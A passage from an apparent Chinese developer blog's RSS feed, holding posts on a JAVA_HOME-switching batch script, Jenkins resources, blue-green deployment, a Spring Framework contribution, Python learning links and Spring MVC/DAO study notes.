&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    set /p opt=请选择jdk版本：
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if %opt%==32 (
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      start  /I /WAIT /B wmic ENVIRONMENT where name=&amp;#39;JAVA_HOME&amp;#39; set     VariableValue=&amp;#34;%JAVA_HOME_32%&amp;#34; &amp;amp;gt;nul
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    rem reg add &amp;#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&amp;#34; /v JAVA_HOME /t reg_sz /d &amp;#34;%JAVA_HOME_32%&amp;#34; /f
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      goto success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if %opt%==64 (
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        start /I /WAIT /B wmic ENVIRONMENT where name=&amp;#39;JAVA_HOME&amp;#39; set VariableValue=&amp;#34;%JAVA_HOME_64%&amp;#34; &amp;amp;gt;nul
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    rem reg add &amp;#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&amp;#34; /v JAVA_HOME /t reg_sz /d &amp;#34;%JAVA_HOME_64%&amp;#34; /f
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        goto success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 选择的版本错误,请重新选择！
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    PAUSE
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    goto start
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    :success
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    echo 设置环境变了成功.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>jenkins相关资料</title>
      <link>http://blog.leaver.me/2014/09/21/jenkins%E7%9B%B8%E5%85%B3%E8%B5%84%E6%96%99/</link>
      <pubDate>Sun, 21 Sep 2014 18:26:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/09/21/jenkins%E7%9B%B8%E5%85%B3%E8%B5%84%E6%96%99/</guid>
      <description>&lt;h1 id=&#34;jenkins相关资料&#34;&gt;jenkins相关资料&lt;/h1&gt;
&lt;p&gt;jenkins的前身是hudson,是为了做持续集成测试而诞生的框架.&lt;/p&gt;
&lt;p&gt;简单说就是把代码流配置上去,然后该框架就能根据设定的时间或其他方式不间断的执行测试用例.并给出报告.这样就可以随时掌控代码质量.支持执行shell命令.支持短信通知等等.&lt;/p&gt;
&lt;p&gt;jenkins,首先从&lt;a href=&#34;http://jenkins-ci.org/%E5%AE%98%E6%96%B9%E4%B8%8B%E8%BD%BDwar%E5%8C%85,%E7%84%B6%E5%90%8E%E6%9C%89%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F%E5%8F%AF%E4%BB%A5%E6%9C%AC%E5%9C%B0%E9%83%A8%E7%BD%B2,%E4%B8%80%E7%A7%8D%E7%9B%B4%E6%8E%A5%E6%89%A7%E8%A1%8C&#34;&gt;http://jenkins-ci.org/官方下载war包,然后有两种方式可以本地部署,一种直接执行&lt;/a&gt;
&lt;code&gt;java -jar hudson.war&lt;/code&gt;,然后在本地的8080端口访问就可以了.另一种是我们希望部署在容器上,那么可以部署到tomcat,jetty等等.直接拷贝war包到对应的目录即可.&lt;/p&gt;
&lt;p&gt;部署成功后,可以新建job,然后配置svn流,配置build时间,配置一下build之前的动作,配置一下各种命令,执行完成后通知等等就可以了.&lt;/p&gt;
&lt;p&gt;最近因为有个功能感觉通过开发jenkins插件的方式会更加方便,周末大量读了一些文档,能找到的都是helloworl.摸索了一下,已经写出一个小的demo了,后面改进一下,.就ok了.先简单把这个过程中收集的资料整理一下.基本都看过觉得还不错的,官方文档不给力.下周希望可以写完,然后分享出来.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1wBp06&#34;&gt;jenkins入门文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1pJySAMn&#34;&gt;The hudson book&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1bn8e5sj&#34;&gt;Writing-first-hudson-plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/littleatp2008/article/details/7001793&#34;&gt;Hudson插件开发简介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/yzhou86/article/details/6874144&#34;&gt;Hudson插件开发入门体验 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://jenkins-ci.org/maven-site/jenkins-core/jelly-taglib-ref.html&#34;&gt;插件界面设计设计的各种tag介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.jenkins-ci.org/display/JENKINS/Plugin+tutorial#Plugintutorial-CreatingaNewPlugin&#34;&gt;官方插件开发&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.jenkins-ci.org/display/JENKINS/Basic+guide+to+Jelly+usage+in+Jenkins&#34;&gt;UI开发jelly介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pan.baidu.com/s/1qWuNags&#34;&gt;jenkins入门(itech)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>蓝绿发布的整个部署过程</title>
      <link>http://blog.leaver.me/2014/09/14/%E8%93%9D%E7%BB%BF%E5%8F%91%E5%B8%83%E7%9A%84%E6%95%B4%E4%B8%AA%E9%83%A8%E7%BD%B2%E8%BF%87%E7%A8%8B/</link>
      <pubDate>Sun, 14 Sep 2014 10:01:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/09/14/%E8%93%9D%E7%BB%BF%E5%8F%91%E5%B8%83%E7%9A%84%E6%95%B4%E4%B8%AA%E9%83%A8%E7%BD%B2%E8%BF%87%E7%A8%8B/</guid>
      <description>&lt;div&gt;
&lt;p&gt;一直听说蓝绿发布,不知道是怎么个过程.&lt;/p&gt;
&lt;p&gt;thanks to&lt;span class=&#34;Apple-converted-space&#34;&gt; &lt;/span&gt;&lt;a href=&#34;http://sunitspace.blogspot.jp/2013/10/blue-green-deployment.html&#34; title=&#34;blue green deploy&#34;&gt;blue-green-deployment&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;蓝绿发布的意义&#34;&gt;蓝绿发布的意义&lt;/h2&gt;
&lt;p&gt;整个发布过程，用户没有感受到任何宕机或者服务重启。&lt;/p&gt;
&lt;h2 id=&#34;蓝绿发布的过程&#34;&gt;蓝绿发布的过程&lt;/h2&gt;
&lt;p&gt;第0步:部署以前的配置
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-8.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (8)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/640798001262d94e7dbb6e2e7c58bf456e447775.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第1步: 把绿色集群的状态改为&amp;rsquo;备用&amp;rsquo;. 从负载均衡的池里把这些地址去掉,这样,绿色的集群就不再回接收到来自用户的请求了.转而进入备用负载均衡的池里.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-9.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (9)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3f51064c7e2863de366d71673e234504f6991048.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第2步:在绿色集群里部署新的代码,直到应用启动成功
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-3.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (3)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d4b51b6ce1a44b5cbaa11da5e8c1aa1d5eeea056.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第3步:使用备用负载均衡简单测试一下备用集群的部署情况.理想状态下是全自动的.&lt;/p&gt;
&lt;p&gt;第4步:把绿色备用集群的状态改成存货,于是进入了存活负载均衡的池里
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-4.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (4)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/19b275c22c2540d4cd4c8e6f28f6c90e474fd0ad.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看到 蓝色运行v1版本,绿色运行v2版本,都连接的是相同的数据库.这意味着v2版本也要在老的数据模型上运行.如果数据库有变更,要等到所有的集群升级到新的代码上.&lt;/p&gt;
&lt;p&gt;第5步: 对蓝色集群也进行同样的操作.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-5.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (5)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d40415aeafd0197ad5408a7d9bcf17e99b2b8d64.png&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-6.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (6)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d403f2fcd75c1dcacab86ef6447f837018aaf5e.png&#34;&gt;&lt;/a&gt;
最终v2代码完成部署.
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/09/Blue-Green-Deployment-for-Zero-Downtime-7.png&#34;&gt;&lt;img alt=&#34;Blue Green Deployment for Zero Downtime (7)&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6f2592793b9517521e14b4aae09696e30d708ae6.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第6步:根据情况.运行数据库迁移&lt;/p&gt;
&lt;/div&gt;
&amp;nbsp;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>第一次给Spring-Framework贡献代码</title>
      <link>http://blog.leaver.me/2014/08/21/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BB%99spring-framework%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</link>
      <pubDate>Thu, 21 Aug 2014 07:46:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/08/21/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BB%99spring-framework%E8%B4%A1%E7%8C%AE%E4%BB%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;鲁肃说建议去看Spring框架的代码,之前其实我想看来着,不过一看到还要gradlew,换jdk就好麻烦.这次各种折腾把代码fork下来,然后安装&lt;code&gt;gradlew &lt;/code&gt;,然后转换成eclipse支持的,期间升级了eclipse版本和jdk版本到8.否则会有个方法不支持,&lt;/p&gt;
&lt;p&gt;流程很简单,先fork一下代码,然后自己改好提交上去,再去Spring框架的pull request请求一下.等大牛合并就行了.&lt;/p&gt;
&lt;p&gt;刚开始看测试用例,我当时看到这个方法调用了一个下线的方法.于是改了一下.提交上去之后,**&lt;a href=&#34;https://github.com/sbrannen&#34;&gt;sbrannen&lt;/a&gt; ** 回复说:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;while you&amp;rsquo;re at it, why don&amp;rsquo;t you go ahead fix the related deprecated issues in all of the test classes in &lt;code&gt;spring-jdbc&lt;/code&gt;
于是我把spring-jbdc包下面的几个方法调用都改掉了.记得谁说过,任何事情都不是别人的事情,你发现了你就要去做,不要等着别人去做,不会就去学.于是再次修改提交,sbrannen 问我有没有签&lt;a href=&#34;https://support.springsource.com/spring_committer_signup.&#34;&gt;CLA&lt;/a&gt;,这个坑爹的网站挂了.等了几天,昨天终于ok了.今天代码已经合并.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;截图留念:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/08/spring.png&#34;&gt;&lt;img alt=&#34;spring&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/56d25e223f79e6ffdb3162ac7658124363f1d82e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/spring-projects/spring-framework/commits?author=leizhiyuan&#34;&gt;https://github.com/spring-projects/spring-framework/commits?author=leizhiyuan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;今天要吃两个煎饼果子.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Python学习资源</title>
      <link>http://blog.leaver.me/2014/07/26/python%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</link>
      <pubDate>Sat, 26 Jul 2014 16:19:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/26/python%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</guid>
      <description>&lt;p&gt;最近突然觉得需要学习一个轻便的语言，每次写个小工具啥的还要打开eclipse，很是不方便。于是学习了一下python，看看官方文档基本就可以上手了，剩下的就是多用了，个人用python写了个调用websevice的东西，suds这个库3.x已经不维护了，坑爹，需要使用&lt;a href=&#34;http://pypi.python.org/pypi/suds-jurko&#34;&gt;http://pypi.python.org/pypi/suds-jurko&lt;/a&gt; 这个库代替，主要是为了批量测试mock的连通性的，&lt;/p&gt;
&lt;p&gt;另外是python3.x和python2.x差异是在很大，我选了3&amp;hellip;, 刚学习的人还是建议从2.x开始吧，否则很多源代码你下载回来基本运行不了。&lt;/p&gt;
&lt;p&gt;本文是我在学习过程中看到的不错的文档，希望有所帮助。&lt;/p&gt;
&lt;p&gt;先看官方文档，英文版觉得有难度看下中文版：&lt;a href=&#34;http://www.pythondoc.com/pythontutorial3/&#34;&gt;Python3.4 入门指南&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后写写代码，小例子看看&lt;a href=&#34;http://www.cnblogs.com/vamei/archive/2012/09/13/2682778.html&#34;&gt;Python快速教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;遇到问题，可以去看看：&lt;a href=&#34;https://github.com/wklken/stackoverflow-py-top-qa&#34;&gt;stackoverflow python 百问&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始，你可能不知道module，package，这些都傻，先看看这篇文章&lt;a href=&#34;http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/0013868200171577d6385bb5b4f4875bee9cbf0f0fa29c5000&#34;&gt;python模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你比较纳闷那个命名中的双下划线，但下划线都啥意思，看看&lt;a href=&#34;http://igorsobreira.com/2010/09/16/difference-between-one-underline-and-two-underlines-in-python.html&#34;&gt;单下划线和双下划线区别&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;之后，你可能想看看一个系统的组织，那么看看&lt;a href=&#34;http://docs.python-guide.org/en/latest/&#34;&gt;python最佳实践指南全版&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你觉得上面的太多，看看&lt;a href=&#34;http://wklken.me/posts/2013/11/25/summary-of-the-hitchhikers-guide-2-python.html&#34;&gt;中文的摘要版&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;后来我看到一个yield，不太明白，于是我看到了&lt;a href=&#34;http://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/&#34;&gt;Python yield 使用浅析&lt;/a&gt;，只能说写的真是好，就是迭代器生成的&lt;/p&gt;
&lt;p&gt;想看看正则？看看&lt;a href=&#34;http://www.cnblogs.com/huxi/archive/2010/07/04/1771073.html&#34;&gt;python正则表达式指南，&lt;/a&gt;非常全面&lt;/p&gt;
&lt;p&gt;我只是想发个http请求，如果你用了python3.x，报错，Import error: No module name urllib，那么看看&lt;a href=&#34;http://stackoverflow.com/questions/2792650/python3-error-import-error-no-module-name-urllib&#34;&gt;urllib&lt;/a&gt;这个坑，你可能要看看，你没有看错，他们合并了。。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://woodpecker.org.cn/diveintopython/toc/index.html&#34;&gt; Dive into Python &lt;/a&gt;中文也看看，不要在意细节。&lt;/p&gt;
&lt;p&gt;最后好像看看&lt;a href=&#34;http://book.douban.com/subject/3285148/&#34;&gt;&lt;strong&gt;Expert Python&lt;/strong&gt; Programming&lt;/a&gt;，因为我没看。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-23章，Spring MVC初体验</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-23%E7%AB%A0spring-mvc%E5%88%9D%E4%BD%93%E9%AA%8C/</link>
      <pubDate>Sun, 13 Jul 2014 11:26:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-23%E7%AB%A0spring-mvc%E5%88%9D%E4%BD%93%E9%AA%8C/</guid>
      <description>&lt;p&gt; 鸟瞰Spring MVC&lt;div&gt;与其他请求驱动的Web框架思路类似。org.springframework.web.servlet.DispatcherServlet就是Spring mvC中的Front Controller。负责处理请求，但是不针对具体的处理逻辑。而是委派给下一级的控制器，也就是&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;org.springframework.web.servlet.mvc.Controller&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;去执行。&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;DispatcherServlet的处理流程如下：&lt;/div&gt;&lt;div&gt;1.HandlerMapping&lt;/div&gt;&lt;div&gt;DispathcherServlet是FrontController，所以他服务于一组Web请求，需要在web.xml中配置。&lt;/div&gt;&lt;div&gt;DispathcherServlet需要自己处理请求和处理之前的对应关系，比如根据参数对应到不同的Controller上。为了更加方便的处理映射的匹配，引入&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping用来获取需要处理请求的对应的Controller类。&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;2.Controller&lt;/span&gt;&lt;/div&gt;&lt;div&gt;对应于&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet的次级控制器，本身实现了对应某个具体Web请求的处理逻辑，当&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping查到了Controller之后，&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet获得了&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping的返回结果。然后调用Controller处理请求，处理完成后，返回一个ModelAndView实例，里面包含两部分内容&lt;/span&gt;&lt;/div&gt;&lt;div&gt;视图的逻辑名称，&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet根据名称决定显示哪个视图&lt;/span&gt;&lt;/div&gt;&lt;div&gt;模型数据，渲染过程中需要将这些模型数据并入视图的显示中&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;ViewResolver和View&lt;/div&gt;&lt;div&gt;我们已经来到了最后一步，要转成最终的JSP视图文件。由于模板引擎很多，Spring提供了一套基于ViewResolver和View的抽象层。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/fc45dedeba68b31c39383776fc7a7a35eba30a5a.jpg)
&lt;/div&gt;
&lt;div&gt;[来自为知笔记(Wiz)](http://www.wiz.cn/i/e0140d75 &#34;来自为知笔记(Wiz)&#34;)&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-22章，迈向Spring MVC的旅程</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-22%E7%AB%A0%E8%BF%88%E5%90%91spring-mvc%E7%9A%84%E6%97%85%E7%A8%8B/</link>
      <pubDate>Sun, 13 Jul 2014 11:25:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-22%E7%AB%A0%E8%BF%88%E5%90%91spring-mvc%E7%9A%84%E6%97%85%E7%A8%8B/</guid>
      <description>&lt;p&gt;Spring揭秘-22章，迈向Spring MVC的旅程&lt;div&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div&gt;Servlet导致数据访问逻辑和业务处理逻辑和对应的视图渲染逻辑相互混杂。之后，JSP出现，通过将输出渲染以模板的形式抽取到jsp后缀的模板文件中，jsp开始繁盛，同时要注意，Servlet处理web请求的时候，要在web.xml中，注册相应的请求url和具体的Serlet的映射关系。于是，jsp有开始混合着写代码&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;于是，我们引入了JavaBean,来封装相关业务逻辑，经过一次升级后，&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/e6af173baae0c480b8dddc398ce8dd3078b260e4.jpg)
&lt;/div&gt;&lt;div&gt;这个模型就比较清楚了。但是和MVC还是有点差别&lt;/div&gt;&lt;div&gt;一个典型的mvc模式应该是这样的&lt;/div&gt;&lt;div&gt;![](/images/4bcce41a42b7cc021f4b726da1c3533cc5371a21.jpg)
&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;控制器处理请求，模型封装逻辑和状态，视图给用户，&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;Structs以请求/响应框架为基础。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;Spring MVC属于请求渠道的WEb框架。框架引入Front Controller做分发之后，就更加好管理了。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/131d593fd9a36cfc8180a4b86495208a356ae563.jpg)
&lt;/div&gt;
&lt;div&gt;[来自为知笔记(Wiz)](http://www.wiz.cn/i/e0140d75 &#34;来自为知笔记(Wiz)&#34;)&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第13章 统一的数据访问异常层次体系</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC13%E7%AB%A0-%E7%BB%9F%E4%B8%80%E7%9A%84%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE%E5%BC%82%E5%B8%B8%E5%B1%82%E6%AC%A1%E4%BD%93%E7%B3%BB/</link>
      <pubDate>Sun, 13 Jul 2014 11:25:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC13%E7%AB%A0-%E7%BB%9F%E4%B8%80%E7%9A%84%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE%E5%BC%82%E5%B8%B8%E5%B1%82%E6%AC%A1%E4%BD%93%E7%B3%BB/</guid>
      <description>&lt;p&gt;Spring揭秘-第13章 统一的数据访问异常层次体系&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;DAO可以分离数据哭的访问和存储，屏蔽各种数据访问方式的差异性，下面以访问顾客信息为例，使用DAO模式&lt;/div&gt;
&lt;div&gt;首先定义一个数据访问对象接口，如下&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&#34;kwd&#34;&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    public interrface ICustomerDao{
    Customer findCustomerByPK(String customerId);
    void updateCustomerStatus(Customer customer);&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div class=&#34;kwd&#34;&gt;之后，所有的数据访问都通过该接口进行，不论底层存储机制如何改变，DAO的实现因此会扩展，但客户端代码不需要调整&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;客户端要用的时候这样使用即可。&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    publicclassCustomerService
    {
    privateICustomerDao customerDao;
    publicvoid disableCustomerCampain(String customerId)
    {
    Customer customer=getCustomerDao().findCustomerByPK(customerId);
    customer.setCampainStatus(CampainStatus.DISABLE);
    getCustomerDao().updateCustomerStatus(customer);
    }
    publicICustomerDao getCustomerDao()
    {
    return customerDao;
    }
    publicvoid setCustomerDao(ICustomerDao customerDao)
    {
    this.customerDao=customerDao;
    }&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;我们只要针对不同的数据存储方式实现不同的Dao类即可。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;我们开始实现具体的访问数据了。&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    publicCustomer findCustomerByPK(String customerId)
    {
    Connection con=null;
    try{
    con=getDataSource().getConnection();
    Customer cust=..;
    return cust;
    }
    catch(SQLException e){
    //这里咋办，直接抛出还是直接处理？
    }
    finally{
    releaseConnection(con);
    }
    }
    privatevoid releaseConnection(Connection con){
    }&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;typ&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt;SQLException&lt;/span&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt; 是checked exception，如果在DAO的实现类里直接处理掉，那么客户端怎么知道发生了问题，&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt;于是，只能处理，那么客户端的签名就要改了&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;Customer&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; findCustomerByPK&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;String&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; customerId&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;kwd&amp;quot;&amp;gt;throws&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;SQLExcepiton&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;ICustomerDao也要改了，可是这样的话&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;如果数据在其他方式存储，那么其他类型的异常捕获就要继续添加到方法签名。由于数据访问机制的不同，导致这个接口签名不断在变化。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
